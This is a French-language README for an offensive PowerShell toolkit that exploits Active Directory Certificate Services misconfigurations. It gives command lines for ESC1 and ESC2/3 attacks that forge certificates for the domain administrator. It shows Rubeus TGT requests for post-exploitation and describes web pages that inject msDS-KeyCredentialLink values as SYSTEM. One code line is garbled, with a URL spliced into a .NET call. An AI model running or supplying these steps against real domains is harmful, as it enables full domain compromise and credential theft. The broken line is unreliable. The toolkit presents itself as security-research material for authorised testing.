Certi-Bhai : Boîte à outils d'exploitation AD CS

Certi-Bhai est une collection complète d'outils d'exploitation PowerShell pour attaquer les vulnérabilités des services de certificats Active Directory (AD CS). Cet outil implémente divers scénarios d'escalade (ESC) qui démontrent des erreurs de configuration de sécurité critiques dans les environnements ADCS.

📋 Table des matières

• Aperçu
• Structure des répertoires
• Prérequis
• Guide d'utilisation
  • ESC1 - Modèle de certificat trop permissif
  • ESC2/3 - Agent de demande de certificat
  • ESC15 - Inscription Web vulnérable
  • Génération de CSR
  • Élévation de privilèges IIS

🎯 Aperçu

Les services de certificats Active Directory (AD CS) sont souvent mal configurés, créant de multiples vecteurs d'attaque. Certi-Bhai fournit des scripts d'exploitation pratiques et des utilitaires pour les tests de sécurité et la recherche sur les vulnérabilités ADCS courantes.

À utiliser de manière responsable et uniquement dans des environnements de test autorisés.

✅ Prérequis

• Windows 7 / Windows Server 2008 ou version ultérieure
• PowerShell 3.0+
• Système joint à un domaine Active Directory
• Autorisations appropriées pour demander des certificats
• Accès à l'infrastructure AD CS
• .NET Framework 3.5+ (pour les scripts ASP.NET)

Modules requis

# Module Active Directory (facultatif, pour des fonctionnalités améliorées)
Import-Module ActiveDirectory

🚀 Guide d'utilisation

ESC1 : Modèle de certificat trop permissif

Vulnérabilité : Les modèles de certificat permettent l'inscription avec des valeurs SubjectAltName (SAN) arbitraires.

Ce qu'il fait : Crée un certificat signé par un modèle trop permissif, vous permettant d'usurper n'importe quel utilisateur ou ordinateur du domaine.

Utilisation :

# Accédez au répertoire ESC1
cd ESC1

# Exécutez le script d'exploitation
.
\esc1.ps1 -subjectName "CN=administrator,CN=Users,DC=indishell,DC=lab" `
           -templateName "vuln" `
           -altName "administrator" `
           -pfxPass "password123"

Paramètres :

• -subjectName : Nom distinctif complet (DN) de l'utilisateur cible
• -templateName : Nom du modèle de certificat vulnérable
• -altName : Nom alternatif à demander (nom d'utilisateur/ordinateur)
• -pfxPass : Mot de passe pour l'exportation PFX

Sortie : Certificat PFX encodé en Base64 pour une utilisation avec des outils comme Rubeus

Tutoriel vidéo : https://www.youtube.com/watch?v=l0gMw_mO4dw

ESC2/3 : Abus de l'agent de demande de certificat à usage multiple

Vulnérabilité : Les agents de demande de certificat peuvent demander des certificats au nom de n'importe quel utilisateur.

Ce qu'il fait : Inscrit un certificat en tant qu'agent de demande de certificat, puis demande des certificats pour des entités arbitraires.

Utilisation :

# Accédez au répertoire ESC3
cd ESC3

# Exécutez le script d'exploitation
.
\esc3_working.ps1 -templateName "CEOTemplate" `
                   -target_user "administrator" `
                   -domain "INDISHELL" `
                   -pfxPass "password123"

Paramètres :

• -templateName : Modèle d'agent de demande vulnérable
• -target_user : Entité pour laquelle demander le certificat
• -domain : Nom du domaine
• -pfxPass : Mot de passe PFX

Sortie : Certificat administrateur (PFX) avec encodage base64

Tutoriel vidéo : https://www.youtube.com/watch?v=fGjrM-JKnoM

ESC15 : Modèle de schéma version 1 mal configuré

Vulnérabilité : Injection de stratégie d'application.

Génération et gestion des CSR

Génération rapide de CSR

cd CSR_Generate

# Générez une demande de signature de certificat
.
\csr_short.ps1 -subjectName "CN=admin,CN=Users,DC=domain,DC=local" `
                -altName "admin"

Soumettre le CSR à l'autorité de certification

# Soumettez le CSR à l'AC
.
\csr_submit.ps1 -csr $csr `
                 -templateName "User" `
                 -caServer "ca-server.domain.local"

Élévation de privilèges IIS

Interface de gestion des certificats

L'interface Web cert.aspx fournit un formulaire convivial pour demander un certificat auprès du point de terminaison RPC AD CS :

http://your-iis-server/cert.aspx

Interface de mise à jour LDAP

Modifiez les attributs LDAP via l'interface Web. Ce script est principalement utilisé pour injecter un blob dans l'attribut msDS-KeyCredentialLink :

http://your-iis-server/ldap_update.aspx

Fonctionnalités :

• Filtrage des attributs LDAP
• Capacités de modification d'objets
• Exécution dans le contexte NT Authority\SYSTEM

Commandes de référence rapide

Pour l'exploitation ESC1

.
\ESC1/esc1.ps1 -subjectName "CN=admin,CN=Users,DC=indishell,DC=lab" `
                -templateName "User" `
                -altName "administrator" `
                -pfxPass "P@ssw0rd!"

Pour la post-exploitation ESC2/3

# Convertissez le PFX dans un format utilisable pour Rubeus
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("cert.pfx", "password")
[Convert]:https://raw.githubusercontent.com/incredibleindishell/certi-bhai/main/:ToBase64String($cert.RawData)

Demander un TGT avec Rubeus

Rubeus.exe asktgt /user:administrator /certificate:$base64cert /nowrap

🔧 Dépannage

Problèmes courants

Q : L'exécution du script est bloquée

# Exécutez PowerShell en tant qu'administrateur
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

Q : Modèle de certificat introuvable

• Vérifiez que le nom du modèle est correct
• Assurez-vous d'avoir les autorisations pour demander auprès du modèle
• Consultez les journaux de l'autorité de certification

Q : La connexion LDAP échoue

• Vérifiez la connectivité du domaine
• Vérifiez les informations d'identification
• Confirmez l'accès ADSI

📝 Détails techniques

Processus de demande de certificat

1. Générez une clé privée (RSA 2048 bits)
2. Créez la demande de certificat (PKCS#10)
3. Définissez le nom du sujet et les extensions
4. Soumettez à l'autorité de certification
5. Récupérez le certificat émis
6. Exportez au format PFX avec mot de passe

🤝 Contribution

Vous avez trouvé un problème ou avez des améliorations ? Veuillez le signaler de manière responsable.